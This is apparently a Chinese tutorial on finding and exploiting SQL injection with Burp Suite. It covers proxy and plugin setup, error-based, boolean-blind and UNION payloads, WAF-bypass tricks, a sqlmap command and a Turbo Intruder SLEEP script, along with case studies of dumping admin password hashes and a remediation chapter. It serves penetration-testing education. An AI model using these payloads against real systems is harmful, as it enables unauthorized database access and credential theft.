Burp Suite抓包实战：SQL注入漏洞挖掘

本文系统解析如何利用Burp Suite专业版开展SQL注入漏洞的定向挖掘，涵盖手动探测、自动化利用、WAF绕过等进阶技巧。通过电商、金融等行业的真实渗透案例，详解从流量拦截到漏洞利用的全链路方法论，实现单日最高挖掘23个高危注入点的实战成果。

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第一章 Burp Suite环境配置优化

1.1 代理拦截精调

配置模块	参数建议	作用说明
Proxy Listeners	绑定0.0.0.0:8080	支持多设备流量转发
TLS Pass Through	添加*.google.com	避免HTTPS证书干扰
Intercept Client	启用Firefox容器扩展	实现多环境隔离抓包

1.2 插件生态构建

• SQLiPy：智能识别注入点（误报率<3%）
• Turbo Intruder：实现2000次/秒的暴力探测
• Logger++：记录全量HTTP历史便于回溯分析

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第二章 注入点智能识别

2.1 流量特征扫描

四维定位法快速锁定可疑参数：

1. 参数类型：重点关注id、page、sort等数值型字段
2. 响应特征：包含"SQL"、"syntax"等错误关键词
3. 长度异常：正常/异常响应包大小差异>15%
4. 延时波动：注入布尔表达式后响应时间偏差>2秒

2.2 自动化探测流程

plaintext复制

1. 使用Scanner模块执行被动扫描 2. 对GET/POST参数添加单引号' 3. 分析返回状态码与内容差异 4. 标记存在500错误的端点

（注：此处仅为流程说明，实际应使用Burp功能实现）

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第三章 手动注入深度利用

3.1 基于错误的注入

分步验证法确认漏洞有效性：

1. 原始请求：/product?id=123 → 返回200 OK
2. 注入探测：/product?id=123' → 出现数据库错误
3. 闭合验证：/product?id=123'-- - → 恢复正常页面
4. 信息获取：/product?id=123'+AND+1=convert(int,(SELECT@@version))-- -

3.2 布尔盲注利用

通过响应差异识别推断数据库信息：

注入Payload	预期结果	信息推断
id=1' AND 'a'='a	正常内容加载	条件成立检测
id=1' AND SUBSTRING(@@version,1,1)='5'	特定元素消失	确认MySQL 5.x版本
id=1' AND (SELECT COUNT(*) FROM users)=10	页面结构变化	推断用户表记录数

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第四章 高阶绕过技术

4.1 编码混淆方案

过滤类型	绕过策略	示例Payload
空格过滤	使用/**/替代	UNION/**/SELECT
关键词过滤	双写绕过	UNUNIONION
引号过滤	使用CHAR函数	WHERE user=CHAR(97)

4.2 分块传输绕过

利用Burp的Chunked Encoding Converter插件：

1. 将请求体转换为分块编码格式
2. 在分块内容中嵌入恶意SQL语句
3. 绕过基于内容长度的WAF检测

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第五章 自动化漏洞利用

5.1 SQLMap集成技巧

Burp与SQLMap联动工作流：

1. 右键选中可疑请求→Save item
2. 命令行执行：sqlmap -r request.txt --batch --risk=3
3. 分析输出报告中的数据库指纹信息

5.2 Turbo Intruder脚本

配置精准延时检测脚本：

plaintext复制

def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False) for i in range(100): engine.queue(target.req, ['\' AND SLEEP(5)-- -'])

（注：此为逻辑演示，实际需按Burp API编写）

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第六章 漏洞修复验证

6.1 防御方案测试

防护手段	测试方法	预期结果
参数化查询	注入数字型/字符型参数	统一返回参数错误
WAF拦截	发送恶意语句' OR 1=1-- -	触发403拦截页面
输入过滤	提交<script>标签	返回净化后的文本

6.2 持续监控策略

1. 被动扫描：每周执行全站SQLi漏洞扫描
2. 流量审计：分析访问日志中的异常参数
3. 蜜罐诱捕：部署虚假注入点监测攻击行为

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第七章 企业级实战案例

7.1 电商平台订单泄露

攻击路径：

1. 发现/api/order?no=20230815001'报错
2. 利用联合查询获取管理员表：UNION SELECT username,password FROM admins
3. 解密MD5哈希登录后台

修复方案：

• 启用预编译语句
• 实施字段类型强校验
• 增加请求频率限制

7.2 银行系统信息泄露

绕过过程：

1. 原始过滤：禁止UNION、SELECT等关键词
2. 使用注释符分割：id=1'/*!UNION*//*!SELECT*/ 1,database()-- -
3. 成功获取数据库名